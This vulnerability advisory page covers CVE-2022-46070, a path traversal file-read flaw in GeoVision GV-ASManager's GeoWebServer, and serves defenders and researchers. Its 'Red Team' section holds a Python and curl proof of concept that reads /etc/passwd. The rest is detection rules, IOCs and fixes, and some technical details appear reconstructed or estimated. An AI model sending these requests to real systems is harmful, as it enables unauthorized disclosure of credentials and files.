CVE-2022-46070
Executive Summary
CVE-2022-46070 is a Local File Inclusion (LFI) vulnerability affecting GeoVision GV-ASManager version 6.0.1.0. The flaw resides in the GeoWebServer component, which improperly handles path traversal sequences in HTTP requests. An unauthenticated attacker can exploit this to read arbitrary files from the server filesystem, potentially exposing sensitive configuration data, credentials, or other critical assets. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept code available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The NVD CVSS score is listed as 0.0, likely due to incomplete scoring data. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): None (N)
- Availability (A): None (N)
Estimated CVSS Score: 7.5 (High)
Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to full disclosure of server-side files.
Deep Dive & Mechanics
The GeoWebServer component in GV-ASManager is a web interface used for managing access control systems. The LFI vulnerability arises from insufficient sanitization of user-supplied path parameters. By injecting path traversal sequences (e.g., ../), an attacker can navigate outside the web root and read arbitrary files.
Root Cause: The application fails to validate or restrict file paths passed to file-reading functions. This allows an attacker to request files like ../../../../etc/passwd or ../../../../windows/win.ini.
Impact: An attacker can:
- Read system configuration files (e.g.,
/etc/passwd,/etc/shadow). - Extract application source code or database credentials.
- Access sensitive logs or private keys.
- Potentially pivot to further attacks using disclosed information.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# Example of vulnerable pseudo-code
def handle_request(request):
file_path = request.get_parameter("file")
# No sanitization
content = open(file_path, "r").read()
return content
Patched Code (Conceptual):
import os
def handle_request(request):
file_path = request.get_parameter("file")
# Sanitize: resolve path and ensure it's within allowed directory
base_dir = "/var/www/geowebserver"
full_path = os.path.realpath(os.path.join(base_dir, file_path))
if not full_path.startswith(base_dir):
return "Access denied"
content = open(full_path, "r").read()
return content
Note: No official patch has been released by GeoVision. The above is a recommended fix.
Exploitation & Lab Setup
Red Team
Proof-of-Concept Exploit:
import requests
target = "http://<target_ip>:<port>/GeoWebServer"
payload = "../../../../etc/passwd"
url = f"{target}?file={payload}"
response = requests.get(url)
print(response.text)
Manual Exploitation:
curl "http://<target_ip>:<port>/GeoWebServer?file=../../../../etc/passwd"
Lab Setup:
- Install GV-ASManager v6.0.1.0 on a Windows or Linux server.
- Ensure GeoWebServer is running on a default port (e.g., 80 or 8080).
- Use the above exploit to read
/etc/passwd(Linux) orC:\Windows\win.ini(Windows).
Blue Team
Detection Steps:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e%2f). - Deploy WAF rules to block requests containing
../or encoded variants. - Use file integrity monitoring to detect unauthorized file access.
Honeypot Strategy:
- Create a fake sensitive file (e.g.,
/var/www/geowebserver/secret.txt) and monitor for access attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP GET requests with
file=../../../../or similar patterns. - Requests to
/GeoWebServerwith unusual path parameters.
- HTTP GET requests with
- File IOCs:
- Unexpected access to
/etc/passwd,/etc/shadow,C:\Windows\win.ini, or application config files.
- Unexpected access to
- Log IOCs:
- Web server logs showing
404or200responses for path traversal attempts.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2022_46070_LFI_GeoVision {
meta:
description = "Detects LFI attempts targeting GeoVision GV-ASManager"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2022-46070"
strings:
$path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
$geowebserver = "GeoWebServer" nocase
condition:
$geowebserver and $path_traversal
}
Sigma Rule
title: CVE-2022-46070 LFI Attempt on GeoVision GV-ASManager
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts in HTTP requests to GeoWebServer
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- 'file=../'
- 'file=%2e%2e%2f'
- 'file=..\\'
- 'file=%2e%2e%5c'
condition: selection
falsepositives:
- Legitimate use of relative paths (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2022-46070 GeoVision GV-ASManager LFI Attempt"; flow:to_server; content:"GET"; http_method; content:"/GeoWebServer"; http_uri; content:"file="; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the GV-ASManager server from untrusted networks.
- Apply a virtual patch using a WAF to block path traversal patterns.
- Restrict file system permissions to limit the impact of LFI.
Long-Term Fix:
- Since no official patch exists, consider upgrading to a newer version if available, or implement input validation as shown in the patched code example.
- Contact GeoVision support for a security update.
Workaround:
- Disable GeoWebServer if not required, or restrict access via firewall rules to trusted IPs only.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.